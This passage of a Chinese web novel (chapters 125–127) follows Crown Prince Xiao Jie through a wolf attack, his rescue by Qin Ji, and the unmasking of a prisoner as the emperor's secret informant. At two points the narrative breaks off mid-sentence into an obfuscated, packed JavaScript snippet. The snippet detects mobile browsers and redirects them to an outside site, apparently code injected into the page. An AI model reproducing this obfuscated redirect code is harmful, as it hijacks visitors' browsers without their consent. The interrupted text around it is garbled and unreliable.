萧玠浑身僵硬,一瞬间冷汗下了一身。 是狼。萧玠已经闻到它们毛发嘴里的腥臭。那是他无数次贴面触碰过的死亡的味道。 萧玠预料到会有变数,却没想到死亡在他以为临近和平的时候从天而降。 125.第 125 章 数条狼影窜进院门的瞬间,黄岩云和数十守卫当即将萧玠围护身后,萧玠感到他们身体的颤抖。 月光下照,野兽们身形毕现。 它们身材足有半人高大,毛色灰黑油亮,在月光中冒着咝咝寒气。脚步沉重,昭示它们的肌肉力量。行动轻盈,展现它们的残杀速度。伴随脚步逼近,狼喉管发出的呼噜声越来越响。 萧玠不知道它们是在盯眼前造成威胁的刀锋,还是刀后散发出阵阵肉香的活人。 他控制不住地往后退步,后背一下子碰到柱子。 这时他听到一声冲锋壮胆的大叫。 黄岩云大吼一声,亮起军刀先发制敌。 几乎是一瞬间,狼鸣响彻院落,为首黑狼嗖然腾跃而起,冷光森森的獠牙碰撞刀背,发出铿然响声。它的进攻像一个信号,其余几条黑狼如同浪头般扑头打来,与守卫相撞的瞬息便把人掀翻在地。 萧玠听到血肉飞溅的声音,甚至能感到热血飞过脸颊的潮湿温热,他还没有退到廊下,人发出的凄厉惨叫便已淡褪。 一切发生得太快了。 他看到月光中黄岩云的身形,他右手仍颤颤巍巍持刀,喉中却发出痛苦的大叫。萧玠看到他左肩以下空空荡荡,只留一截森森断骨。 他的手臂呢? 狼的行动远快过人的思绪,黄岩云手中军刀勉强挥舞,昔日无往不胜的利器如今成为一块笨重无用的废铁。他振动手臂的同时又有一条狼向他扑来。 数条狼一起扑向稀稀疏疏七零八落的人墙。肉身筑起的墙壁痛苦地鲜血四溅地轰然崩塌了。 萧玠本以为经过樾州之乱自己不再会震骇于任何杀戮场面,直到这一刻,他眼睁睁看活生生的人被利齿獠牙撕成碎片。空中迸发出血液的愁苦和生肉的香甜气味,浓郁的香气叫他几乎作呕。 他不敢进屋,屋里睡着旭章,他女儿跟前就剩了他这一堵墙。但他能做什么?连刚刚勇武作战的将士已经化成残骨肉段,几头狼享用啃食,人骨嚼断的喀嚓喀嚓声里,另几头狼已经围堵上来。 不能引狼入室是萧玠的唯一念头。 他尝试挪动脚步,但发现两条腿面条一样一动即软。 他已经被逼到墙上。 退无可退。 那条领头黑狼的尾巴几乎扫到他的袍角,这个距离,萧玠能够看清它湿漉鼻头上耸动的热汽,听到意图进食的低低喘息声。靠得太近,它也太高大了,有一瞬萧玠觉得这是个长着人脸的狼或者扮狼的人。月光在这酷似人脸的兽面上腾地燃烧起来,把狼眼点成一片燎原绿焰。 它在如此逼仄的距离间向萧玠扑来。 风声几乎割破空气撞到萧玠身上,把他他后背重重砸上墙壁。萧玠听到清脆响亮的喀嚓一声。 是骨节错位的声音。 萧玠这时候已经感觉不到痛,但他能听出这声响不是源于自己的颈后,甚至不是自己身体的任何一个部位。 他睁开眼,看到脸前那双近在咫尺的狼眼火光熄灭。狼嘴大张,仍保持一个撕咬的动作。 连接狼头和胸脯的颈部,焊着一只人手。 如果不是看到这只手的主人,不会有人怀疑这是一只军人的手。它骨节分明,够宽大,老茧遍布,还有无数愈合未愈合的新旧伤口。 这样一只手,却长在一个少年人身上。 这是个极其冷峻的少年,面部线条锋利,他的深眼窝薄嘴唇和那双浓眼睛一起,在脸上形成一种杂糅的气质,叫人不敢断言是南方人还是北方人。或许是为了掩饰身份,他只穿了一件夜行黑衣,但脸颊两侧却有两轮太阳耳坠拍打作响,全然不像刻意低调。 萧玠认出他只用了一个瞬间,紧接着他听到更响亮的骨头碎裂声。少年一只手钳住狼颈后,另一只攥紧匕首的手飞快向后一轮,黑血从狼头下喷溅而出时萧玠看清他手部闪烁的寒光。 一把虎头匕首在月光下熠熠生辉,未沾寸血。 头狼倒地的瞬间,数条狼众从他身后腾跃而起。萧玠嘶声叫道:“阿寄!” 秦寄腿转得比身体要快,几乎贴着狼爪以一个贴着地面的姿势滑到庭中,萧玠意识到他要引狼去一个更宽阔处。他风一样嗖然射出时两条狼没能反应,正冲萧玠龇牙欲试,亮堂堂的天井中,秦寄高叫一声:“好畜生,来!” 萧玠看到,在跟狼群对峙的瞬间,秦寄皮肤被月亮染成阴森森的青铜之色。大片大片月光从他身上盐巴一样结块皲裂,周身冷气缕缕,如披狼毛狼皮。他压低身体分跨双腿,和狼保持相同高度相同重心相同呼吸的进攻姿势,俨然成为人中之狼狼中之人。 狼群呜呜咆哮,四肢刨蹬而起的同时,萧玠看到秦寄毫无助跑仅凭顿地之力一跃而起,身后湛青月光如铺幕布,映出他高跃半空如同野兽的矫捷身影。他腾至狼背,从空中降落时,两条大腿已经拧住一条狼的颈部。 萧玠看不清他是如何旋身发力,但当他两只靴子砰地落地时,那头狼已经麻袋一样坠在地上,荡起朵朵青色尘土。 月光之中,秦寄手里六寸长的匕首不知何时抽成三尺长剑,三十余年后依旧利如初锻之时。看到那把剑萧玠反应过来,忙抽出自己怀里的另一把虎头匕首。 狼是近狗的动物,无狗忠诚,比狗多智,它们明显判断出萧玠是更适宜的攻击目标,但总在距离萧玠两层台阶前被秦寄剑风击退。 他的剑法直截了当,毫无花样,就是暴力的杀法。开膛破肚,淋漓鲜血,四溅肚肠。他似乎是故意,又似乎是天然,将狼群的仇恨凝聚他一身挑动到极点。这个比它们单薄低矮的人类已经连杀两狼,对任何一匹狼来说都是极大的耻辱。 他们丢开萧玠,化成腾腾黑风,将秦寄盖头淹没。 不行……不行,不行! 萧玠感觉自己肝胆都要碎了。他看不见秦寄身形,那群绿莹莹的兽眼却不灭不死如同鬼火——火,火! 萧玠立即砍断灯笼,撕裂衣袍点燃扔到庭中,把狼群砸开一阵黑浪。被围困浪心的秦寄翻身而起,一剑钉穿一狼脊背。 这个动作后,秦寄一条腿沉坠在地。 他的腿怎么了? 狼群再度奔袭而来时,萧玠丧失了管顾能力,将外袍一起烧着飞速跑下台阶,兜风向黑狼扔去,当即激开一股烧焦腐臭的气味。他不知哪来的力气,伸手挽住秦寄将他一把拖拽出去。两个人跌倒在地,狼群掉头扑来。 萧玠当即把秦寄护在怀里,那股腥臭之风降落的瞬间,秦寄一把掀翻他把他盖在身下。 萧玠抓紧他衣襟,嘴里不知在大喊什么,一直喊到上面的身体重重一压,有什么从秦寄后背上滚落下来。 是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724721|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那头扑上来的黑狼,颈部钉着三根羽箭。 黑狼倒地之时,秦寄也从他身上滚落。 萧玠看到秦寄的后背,浑身遏制不住地一阵寒颤。他把秦寄抱在怀里,冲深夜赶来、救驾来迟尚未脱口的老将军狄皓关叫道:“叫太医……叫郎中!救命,叔叔求求你救活他,我求求你了!” *** 狼兵引起不小的骚动,但没有带来过重的伤亡。樾州因皇太子驻守,已然成为崭新的军事基地,上下五万将士一回过神,结合猎户的擒狼之法,当即借助火油、陷阱和铁器对狼群进行抵御。 初来乍到的松山老将狄皓关更是献上一份大礼,他除了麾下兵马,还从地方火炮库运来五十口将军炮(皆由隐秘的火炮乙营制造)。这些火炮在樾州舞台初次亮相,就用地动山摇的爆炸对所谓的狼兵作出迎接。数声巨响后,硝烟滚滚,惨叫连连,焦臭残碎的狼尸浸泡于满地黑血。这标志着二十五年前以青年萧恒为代表的肉身抗拒狼兵的作战方式正式退伍,大梁的火器时代在中年萧恒的推行下姗姗到来。 狄皓关赶来及时,将公廨狼群全部剿杀,抢救下萧玠这一险些危折的社稷根基。萧玠只有些皮外伤,秦寄背部和腿上的伤口却很深,右臂更是伤到筋骨,保养不好只怕要废掉。秦寄闻言尚未作色,萧玠已经泪落涟涟,将狼兵入城事全权交托狄皓关追查,一心扑在秦寄身上。 狄皓关雷厉风行,将狼兵残部网罗皆尽。经审问,系公孙铄部下。公孙兄弟是齐国响当当的主战派,公孙冶死于萧玠郑绥之手,公孙铄虽逃离樾州,但梦寐皆欲报此血仇。 狄皓关了解到,狼兵入城当夜,黄岩云等十数公人护驾殉职。准备为其一尽哀荣之际,狄皓关突然发觉不对。 黄岩云在追随萧玠来到公廨后被安排作府狱总领,但府狱距公廨有一定距离。他竟能抢在离萧玠最近的军营守备之前赶来救驾,如果说是先知之能,也太过玄幻。 狄皓关当即赶去州府府狱,听到了一件怪事。 还真有一个先知。 但并非黄岩云,而是那个万众唾弃、叛国叛家的罪魁祸首。 兹事体大,狄皓关不敢耽搁,当即禀报萧玠。萧玠正给秦寄伤口打扇,闻言惊心,“叔叔是说,狼兵入城当夜,汤惠峦曾出言提醒?” 狄皓关道:“臣盘问府狱职众,的确有人讲到,当夜戌时左右,汤惠峦突然发狂,大叫狼兵到了。黄岩云对其恨之入骨,以为他是膏瘾发作便施加殴打,汤惠峦仍不肯改口。约莫一个时辰后,果见狼入城中。” 萧玠问:“叔叔觉得,汤惠峦似有从善之意?” 狄皓关道:“未知始末,臣不敢妄断。但他若是齐军细作,公孙铄入城当为其盼望之事。他出言提醒,的确自相矛盾。” 萧玠沉默片刻,道:“我和叔叔去看看。” 他撂下扇子,对秦寄柔声道:“我就回来,叫你侄女来陪你。她很乖,你别掉脸子吓她。” 萧玠并没有透露秦寄身份,只托姓甘氏,外人更不知两人更深的血脉联系。秦寄对萧玠爱答不理,狄皓关看在眼中有些动气,但萧玠在场,不好发作。 萧玠打开帘子,冲坐在秀墩子上的旭章招招手,旭章便抱着一只沙包跑过来,萧玠同她耳语几句后,她便坐到床边,端一碟龙须糖问:“阿叔吃酥糖吗?” 126.第 126 章 府狱大门一开,汤惠峦的求告呻吟之声就洪水般漫延开来。狄皓关进去待了半刻,出来对萧玠说:“这么问不出什么,得先给他戒膏。” 狱卒忙道:“我们听殿下吩咐要给他戒,但他连抓加咬,实在……” “那就是没有尽心。”狄皓关沉声问,“我问你,是由谁主管汤犯戒膏之事?” 狱卒道:“先前的黄岩云黄都头,已经殉职了。” 狄皓关问:“你们帮忙?” “是。” “也是樾州人?” “是。” “我听闻黄岩云一家皆在樾州之难遇害,你们大多也是幸存,肯尽心竭力地帮他戒膏?”狄皓关冷笑一声,“你们不管不顾这些日子,他要么熬过去要么熬死了,还这么半死不活地发作——你们中间给他喂过东西吧?” 狱卒冷汗直流,“卑职等……卑职不敢……殿下严禁阿芙蓉,卑职哪敢冒犯君威去买那些腌臜东西啊!” “据我所知,不少草药有致幻之效,菊山山深地广,出些东西应当不稀奇。拿这些东西喂给他,既能吊他的性命给殿下交差,又能叫他日夜备受折磨。有这等手段,你们放到肃帝朝的酷吏堆里都是屈才!”狄皓关冷冷道,“殿下交给的差事,你们就是如此欺上瞒下、搪塞推诿么?” 狄皓关威名在外,军中无不敬佩。狱卒闻言匆忙跪地,“卑职有罪,卑职……卑职实在不明白,为什么不杀他,为什么还要救他!” “樾州之乱背后诸多疑点,齐军如何进城,奸细究竟有几个,至今只有推断未有实证,他这张嘴比多少鸟枪管用得多。难道殿下的深谋远虑,都有张榜告示,好让敌军全都知道?”狄皓关道,“不听令旨,当斩首以正军纪。” “叔叔。”萧玠阻止,“是我安排不当。停了他的差事,叫他家去吧。” 狄皓关抱拳:“臣谨遵令旨。”又喝道:“还不出去,找冷水、麻绳,再找郎中开川芍、钩藤和洋金花来!” 狱卒不敢争辩,连滚带爬地跑下去。狄皓关便冲萧玠跪倒,道:“在殿下面前颐指气使,是臣僭越。” 萧玠忙扶他起来,“我知道叔叔要代我立威。” “臣这些年观闻,殿下将来为君,必然不让陛下。但殿下对下面的人太心软了。若是个人都能因为有隐衷违逆上令,国家岂有法度可言?”狄皓关道,“臣这几日住在这里,帮他戒膏。殿下千金之躯,暂且退避吧。” “我在这里。”萧玠道,“他迷乱之际嘴里或许会漏一些关键信息,我和叔叔一起在这里。” 狄皓关问,“那孩子那里……?” 萧玠一愣,道:”我每日得空就回去。他也不怎么想见我。” *** 这是萧玠第一次见戒膏的人。简直不是人,是头畜生。整座牢狱里都听见汤惠峦的惨叫撞头之声。狄皓关跪住他膝窝将他死死压在地上,捆猪羔似的拿麻绳将他五花大绑。为防咬舌,狄皓关也堵住他的嘴,汤惠峦只能咚咚以头抢地,简直像个以发覆面以糠塞口的厉鬼。 萧玠发现他脸色逐渐紫涨,忙将他堵嘴绢布取出来,破碎的哀告声一下子和涎水一起流出他口中。 汤惠峦直着眼睛,喃喃叫:“杀了我吧……杀了我吧……” 狄皓关按实他,道:“看来这小子在狱中寻过死。好好的手腕子烂成这样,叫他差点把经络啃断了。” “我不杀你。”萧玠抓紧他肩膀,大声叫道,“我不会杀你,我不会叫你这么轻易就死了!樾州为什么遭此劫难,你到底知道什么……你不说清楚,休想一死了之!” “杀了我吧!”汤惠峦呜咽,“我求求你杀了我吧!” “殿下,别问了,他这样问不出什么。”狄皓关道,“给他灌药,这药能补气安神,别叫他脱水死了。” “三大碗汤药灌下去,汤惠峦已然脱力,伏在地上不知嘟哝什么。”萧玠心中略动恻隐,问,“叔叔,给他松绑吗?” 狄皓关摇头,“服膏之人最是恍惚,等他有些神智再说。” 萧玠没再多说,从汤惠峦身边茅草堆里慢慢坐下。他看到昏黄油灯照亮汤惠峦脏污的身形,乱发缝隙里,他眼皮微微颤抖,一道泪痕从眼角滑落。他嘴唇蠕动,似乎在叫什么。 萧玠凑近前,听清他模糊叫着:“娘……我想洗澡……娘……” 不知道为什么,萧玠对着这个罪大恶极的人突然心酸。汤惠峦认不得人,拱动身体凑近他,要靠在他膝盖上,仍叫:“我错了……你别不要我娘……别不要我……” 他头枕上萧玠膝盖的瞬间,狄皓关要拧他手臂将他拖拽下来,被萧玠立刻制止。他手掌滞在半空,终于落在汤惠峦脸畔,五根手指像母亲一样慢慢梳理他的头发,低声问:“为什么要那么干呢?咱们樾州的祖坟都被刨了。” 此言非虚,汤惠峦被擒当日,樾州百姓便赶去菊山,把汤氏祖宗的尸骨全部从黄泉之下挖出来曝晒鞭打。萧玠听见汤惠峦像个孩子一样委屈地哭起来,他叫道:“没办法,娘,我没办法……忠孝不能两全……我没办法……” 一道闪电从萧玠心头劈落,他浑身一震,紧着嗓子问:“什么忠?你叛国引贼,这叫哪门子的忠?” 汤惠峦没有回答。 他婴儿一样蜷缩在萧玠膝盖上呜咽起来。许久,他听见汤惠峦哭道:“我想死,娘,我该死。” 萧玠还要再问,被狄皓关按住肩膀。狄皓关道:“他精神太差,现在也问不出什么。” 萧玠把他搬离膝盖,说:“叔叔,我有时真的痛恨我这么软的心肠。刚刚有一个瞬间,我在可怜他。” 狄皓关长叹一声。 萧玠撑着膝盖站起身,低声说:“天不早了,我回去看看……看看甘郎,辛苦叔叔盯着他。” *** 萧玠回屋时,见旭章抱着画书坐在床头,把一块奶糕掰成两半。小的一半自己吃,大的一半送到秦寄嘴边。秦寄趴在枕上皱眉,仍张嘴把糕吃了。 等他将糕吃完,萧玠才打帘进来,将冲他张手的旭章抱在怀里,笑道:“阿耶问问囡囡,阿叔今天有没有听话?” 旭章扁扁嘴,小脑袋靠在萧玠颈边,看来不太喜欢这个年纪不大又冷一张脸的小叔叔。 秦寄冷笑:“都说梁太子人品贵重,现在战时还吃得上糕点。” 奶糕算是樾州一大特产,胜在制作方便,味美新鲜。如今樾州渐趋安定,商业也有所恢复,也有一些妇女卖糕赚钱。但秦寄讲这个,是故意刺他。 萧玠不以为意,哄旭章:“我们不理他。囡囡先回屋子好不好,阿耶给阿叔换好药,就陪你吃饭。” 秦寄道:“用不着。” 萧玠笑着将旭章放到地上,替她打开帘子,“去吧。” 旭章嗒嗒的脚步声跑远,萧玠便从榻边坐下。秦寄皱眉,“你没洗澡?跟你爹似的。” 萧玠道:“我爹没有。” 秦寄冷笑:“他在潮州的时候什么德性,你知道?” 萧玠谦让他,但也不容他诋毁萧恒,反问:“你便知道?敢问殿下,你那时在哪里?” 秦寄冷声道:“我当时若在,就没有你这条命。” 萧玠默了一会,取过纱布匀药膏,叹道:“你还小,我不该同你置气。” 秦寄道:“噢,你大人大量。” 萧玠问:“阿寄,你怎么跑到这里来了?” 秦寄不答。 “阿寄。” 秦寄冷声道:“我救你一命,你就这么逼问我?” 萧玠解释:“我不是。我听说你背教之后,再也没家去过。” “家不家去,也没人惦记。” 萧玠加重语气,“秦寄。他膝下就你这么一个孩子,他怎么会不惦着你?” 秦寄斜眼睨他,有些好笑,”你还真把自己当有娘的东西。我们家的事,你倒比我清楚。” 萧玠脸色一下子变了,秦寄看着他抓着纱巾颤抖的手指,微微笑了笑,扭过头不再理他。他肩膀的伤口已经见骨,白森森的骨头扎出来半截,很是瘆人。 萧玠平复一下呼吸,道:“樾州不太平,你早些回家,到时候陈将军来接你。” 秦寄立即掉头,“你给他写信了?” “我总要报个平安。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732372|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦寄一下子翻坐起来,萧玠当即听到一声极轻微的脆响,他不知道是秦寄哪里的伤口又出了问题。秦寄赤脚踩在地上,冷声道:“我的平安你报得着?你来管我?手好长啊!” “那我的命你救得着吗?”萧玠胸口一堵,气极之时眼圈先酸了,“你是我弟弟,我为什么不管你?” 秦寄神情复杂,他看着萧玠的眼泪,说不好是厌恶还是怜悯。终于,他左手把伤药抢过来,说:“你出去。敢把我的行踪报给他,我卖了你闺女。” 他这样故作恶毒,反而显得像纸老虎。萧玠笑了一下,“卖她去糕点铺子做小工吗?那她可得意了。” 秦寄皱眉,“你走不走?” 萧玠道:“我帮你上药。” 秦寄道:“你那狗啃似的手艺。我没叫狼咬死也叫你给捂死。” 他不再管萧玠,自顾自上药包扎。右臂不能动,便用左手和牙齿,很像一个野兽舔伤的姿势。 萧玠心中一动,问:“阿寄,你这身功夫从哪里学的?” 秦寄头都没回,“梁太子殿下,你过界了。” 他这话一根蜂刺般把萧玠的心蛰痛了。 萧玠有些讪讪,从门口站了一会,轻手轻脚掩上门走了。夜已经深了,天外一轮好月,宛如少女面靥,萧玠突然思念他已上青天的妹妹。这么想着,对面厢房里女孩的笑声铃铛般传来,萧玠都有些恍神。 如果皎皎还在,阿爹阿耶会不会像这轮月亮一样圆圆满满地在一起?他的家庭,会不会没有水中月般一个石子下去就破碎支离? 胡思乱想这些,他觉得自己是太累了,上下揉了把脸,回房去看女儿。见颜氏正坐在竹椅里,将旭章抱在膝头玩翻花绳,见萧玠来忙要起身。 萧玠温和笑道:“这一阵忙,有劳娘子常来看她。” 旭章在颜氏颊边亲了一下,颜氏将她拥在怀里,笑道:“妾可是旭章的干娘,娘来看闺女,这不是正正当当么?” 她突然想起什么,道:“按樾州的习俗,认亲要备金银礼物。妾想着旭章那枚玉佩,等太平了,妾就寻师傅好好打只芙蓉玉的项圈,正好作配。” 萧玠笑道:“娘子见识广博,一下子就瞧出玉料子。” 颜氏也笑:“殿下这是外家话。那玉不就是咱们樾州产的芙蓉玉么?妾瞧过玉佩,绝对是世间极品,这样的水头只怕五十年也找不着一块。像这样的玉,自古至今要么上贡要么家传。只是芙蓉玉产量极少,采玉加工又太过靡费,陛下奉皇三年禁了一批名物,它正在其列。幸亏妾家里有祖父留下的一块籽料。” 她言语像乱草中一条一扫而过的真相的蛇尾,碰得萧玠心间异样。萧玠问:“娘子是说,此物早已绝产,且是樾州之物,大多作为家传?” “正是如此。” 萧玠一颗心狂跳起来。 这块玉存在东宫库房,他取玉时听双姑姑讲过几句,似乎是他玉陷园之后惊魂不定,有朝臣献上的安神礼物。萧恒当时病急乱投医,第一次破了他确立十数年的上贡制度。 东宫礼品一应有存档,但萧玠此时远离长安,来不及取验记录。可绝产之物,又是家传,所有者绝非寻常富贵之人,更有可能是樾州出身的大族。 当时朝中,出身樾州、又有家底的臣子还有谁? 萧玠喉咙发紧,追问道:“娘子,我记得你说你和旭章在地窖里被骑兵发现,有人拿走这块玉佩,并说没有活口?” 颜氏颔首,“是。” 说没有活口,是要救她们的命。 拿走玉佩不久,公孙铄就以此下套说擒得旭章在手,要空手套萧玠孤身赴敌营。那说明拿玉佩的人凭借此物认出旭章身份——和东宫紧密有关的身份。 也就是说,这人认得这块玉佩。 ……或者认得这块玉。 萧玠一下子站起来。 他尽量调整语气,以免惊吓旭章:“囡囡,你先把玉佩给阿耶,阿耶要借用一下。” 玉佩递过来时萧玠一下子捏在手里,沉重得像捏了一块铁锭。他没再多说,快步走出门,去堂屋翻出那张进军樾州的军令,冲向门外夜色之中。 127.第 127 章 十多日来,汤惠峦偶尔有神智清醒的时候。萧玠赶过去时,正见狄皓关撬开他的嘴,要把粥灌进去。汤惠峦牙关紧闭,发出呜呜之声。 萧玠跑得太快,用了一会平复气息,走进狱门,道:“能求死,是清醒了。” 听到他的声音,汤惠峦浑身一僵。狄皓关趁这个空当把粥碗卡在他嘴里,硬是给他灌下去半碗。汤惠峦伏在地上大声呛咳,不待直起身,萧玠一双脚已经落在他面前。 萧玠把那块太阳玉佩递到他眼前,问:“是你救的旭章她们,是不是?你认得这块玉佩……还是说,这块玉原本是你进献的东西?” 他缓一口气:“我记得玉陷园之后你往东宫送过礼物,是樾州芙蓉玉是不是?你为什么要救他们,你先勾结王云楠后串联虞山铖,最后叛国叛家卖了樾州,抓住她们不是更好吗?” 狄皓关闻言大惊,“殿下是说……是他救了郑娘子?” “不是。”汤惠峦声音虚弱,“不是我,我害了樾州,是我写的那张军令……我里通外国,我叫他们来打樾州……” 萧玠问狄皓关:“叔叔,他能写字吗?” 汤惠峦知道其意,呵地一笑。 狱卒端来案几笔墨,萧玠将纸铺好,道:“我说什么,你写什么。着车骑将军公孙铄飞骑将军公孙冶率豹营三万越山入樾。写。” 汤惠峦一动不动。 萧玠似乎很冷静,“你知道你家的祖坟被挖了吗?” 汤惠峦浑身被鞭打般搐动一下。 “我会叫人好好修葺。”萧玠说,“如果你遵从令旨的话。” 少顷,汤惠峦伸出那根枯竹般的手腕,颤抖着将笔握在手中。 从他第一个哆嗦的墨点落在纸上时,萧玠心底的窟窿越裂越大。第一个字写完他就想立刻叫停。 不用再认了,那张公文的的确确是他的手笔,比萧玠是半个南秦种子的事实还要证据确凿。 到底怎么回事,难道不是他?但樾州除了汤惠峦,还有谁能认出和东宫相关的东西? 狄皓关立在一旁,叹道:“倒是一手好字,偏要脏了书道。” 书道。 多年前春明池宴汤惠峦左右双书的画面一下子刮过眼前。一股血液从萧玠脑中左冲右撞。 如果汤惠峦要救旭章,那就意味着他不想让自己落在齐国手里,不想让齐国真正战胜。 但他身为梁人,为什么为齐军驱策? 这又回到了多年前不了了之的一个疑问——既然汤惠峦的确服用阿芙蓉,为什么当年崔鲲当廷举发他,太医诊断他干干净净? 福至心灵地,萧玠解下腰间荷包,从中拿出另一张纸条。 他勉强稳住声音,对汤惠峦说:“这次你用左手,只写四个字,樾危速救。” 汤惠峦那条手腕树枝一样折断了。 他不可置信地抬头,对上萧玠毫无动容的眼神,比赤身游街还要恐惧地战栗起来:“我……我不会写,我已经多年不写左手书了,我……” “能写成什么样就是什么样。”萧玠道,“想想你家的祖坟,你不想让先人重新安葬吗?” 汤惠峦左手拾起笔,墨汁噼噼啪啪乱溅纸上。 “我……我……”在那只手几乎痉挛之时,汤惠峦终于丢开笔抱头哭道,“我不会写,我不会写啊!” “你是抱香。”萧玠已经了然,扶着墙缓缓跪坐到地上,喃喃道,“你是陛下安插的线人抱香。” 汤惠峦伏在案上,难发一言。 如果这么说……萧玠圆睁双眼,像窥见一道闪电般的真相。 “从蜃楼开始……不,要更早,从弹劾杨峥贪污开始,你就是遵从陛下的授意做事。是不是?” 汤惠峦浑身颤抖,“我求你别问了,你杀了我吧!殿下,你杀了我吧!我写了那封军令啊!” 萧玠紧紧扼住他手腕,“杀了你有任何补救吗?你死了樾州能恢复如初吗?如果不是你领齐军进的樾州,那就一定有其他人带路……越山入樾……他们一定有其他的路能走!二郎,举国之危未解你就一味求死,你何止是个懦夫,更是千古罪人!今晚已经有狼兵潜入了,樾州依旧在险地之内,你要她再变一次人间地狱吗?” 萧玠感到,他手掌之中,汤惠峦一具死尸一样地软绵下去了。油灯照亮他瘦骨嶙峋的身体,囚衣下像一只骨架。 许久,萧玠听到他说:“我是在玉陷园案之后为陛下做事的。” 东宫之事天下皆闻,汤惠峦在朝列、在茶肆甚至在自家仆婢的交头接耳中,都能听到对萧玠的纷纷议论。他知道人言能杀人。上朝时他看着萧恒一夜花白的鬓角,知道杀的是整个社稷的根。 他也在人言中听闻了太子的精神状态,于是他进献了那块家传的芙蓉美玉。皇帝身边的大内官居然按住发作的阿子收了下来。这比任何流言更直观地让汤惠峦意识到,萧玠的情况堪称危急。 送过礼物的黄昏,他离开东宫,在最后一道角门处被人拦下。大内官秋童笑容不见破绽,汤员外郎,陛下有请。 他被引到一条幽深僻静的小巷,从一间厢房中见到皇帝。 太子遇厄,让皇帝不再顾忌手段去整治朝堂。世族在阳奉阴违之际,有更多隐秘盘错的关系。这些是明面难以查知的。 皇帝需要一个深入敌营的内线。 不能是旧人,世族对皇帝阵营早有提防,只能从新进入手。 也一定要有相应的才智和地位,这样才能打入内部,探知最核心的关系后将他们一网打尽。 皇帝需要一把宝剑,他要亲手将这柄剑递到世族手里,关键时候,能反柄一击。 汤惠峦临危受命。 此时王云楠假死隐遁,世族明面上收敛锋芒。他投入阵营模糊的虞山铖门下,在一个傍晚,旁听到虞山铖父子的激烈争吵。 那个闭门不出的嘉国公世子几乎是痛哭着诘问,我们落到了什么好处?你要把家里害到什么地步?你和他站一条线为什么还要我投靠东宫?他那么害萧玠,那么害我! 虞山铖冷冷道,我只是叫你投靠,叫你取得东宫信任!成事不足败事有余的东西,你让虞家百年门楣蒙此大辱,我还没打死你,你自己找死? 屋内响起妇人女孩的哭声喊声,虞闻道声音尖利地叫道,你要我虚情假意你就早跟我说!你要我算计萧玠早跟我说!我已经把心挖出来了,我已经把自己当他的臣下了!我他妈已经跟他睡了! 他撕心裂肺地大叫道,我跟他睡了,我跟他睡了!你们害的我好苦啊! 一记响亮的耳光声响起。虞山铖哆哆嗦嗦骂道,孽障,你这个孽障!你指责我?皇帝一颗心放在他儿子身上,你假意对太子他会看不出来吗?你坏了我的大事,我怎么生出你这么个孽子? 剩下的哭骂混乱之声混在风声里,盖住汤惠峦离去的脚步。 他将此事回禀萧恒,萧恒当即推敲出虞山铖真正的合作对象,极有可能是假死逃亡的王云楠。 为此,也是为萧玠岌岌可危的精神状态,萧恒送他远下南秦。 没想到会把儿子送到豺狼手里。 此后程忠兄弟受缚,但虞山铖背后的根系依旧未能挖掘而出。萧恒吸取了王云楠案的教训,除恶务尽,不能斩草除根前,一切妄动都是打草惊蛇。皇帝的软肋天下皆知,萧恒不敢拿儿子冒险。 汤惠峦就作为虞山铖暗中亲信潜伏下来,一边探查根源,一边配合萧恒唱红白脸。像之前举发杨峥贪污,就是萧恒授意,要拿温国公杨韬开刀作的障眼。若直接把矛头指向杨韬,汤惠峦攻击世族之意太过明显,会暴露他究竟为谁效力。同时,汤惠峦为焦头烂额的虞山铖广出计策,渐渐取得他的信任。 他在虞山铖这里,发现了和蜃楼相关的事宜。 而此时此刻,太子正在潮州。 汤惠峦赶往蜃楼,才发现这是个彻彻底底的魔窟。阿芙蓉买卖屡禁不止,不容他放掉这条线索。虽然他是虞山铖的近人,但楼中主事仍半信半疑。 他们递上来一盏黑色药汁。 汤惠峦明白那是什么东西。 然后接过来一饮而尽。 潮州势力盘错,他不敢轻易写信,是以萧恒得知他服用此物,还是在崔鲲当堂举发之时。萧恒叫太医打完掩护,将他召入甘露要帮他戒膏。 汤惠峦说,如今臣能叫嘉国公完全放下戒备了。现在还不到时候。 汤惠峦得知萧玠追查到柳州,但没有想到他居然敢将世族子孙一刀斩尽。他预感到那座蠢蠢欲动的火山将要喷发。这时皇帝再下密旨,要和他里应外合,将已经暴露的京中势力连根拔起。 萧玠已经被放在风口浪尖,皇帝不能再等了。 按照原初计划,皇帝称病,实则潜出地方排布军力清扫障碍。到时候汤惠峦在内策应,将其一网打尽。 但皇帝没想到,萧玠抢先一步动手了。 清剿叛军,立斩虞山铖等,赐死怀帝遗孤,那个昨夜和他鸳鸯帐暖的情人。 虞山铖一死,大梁境内阿芙蓉路线全面收网。汤惠峦从中发现,其中买卖竟有齐国参与,看似内忧实则外患。 所以他做了一次黄盖,叫皇帝把他作为虞山铖党羽流放出京。这出苦肉计施展,加上中间各种关节打通运作,齐国很快向他打开怀抱。 便改换投敌,瞒天过海。 只是此前发生了一桩出人意料的变故,他曾经背叛汤住英、在皇帝三日废后为保妻儿出卖恩主的父亲,再也不能忍受贰臣之名的重负,竟在自己入狱之后绝食自尽。 他到死都不知道汤惠峦不是贰臣。 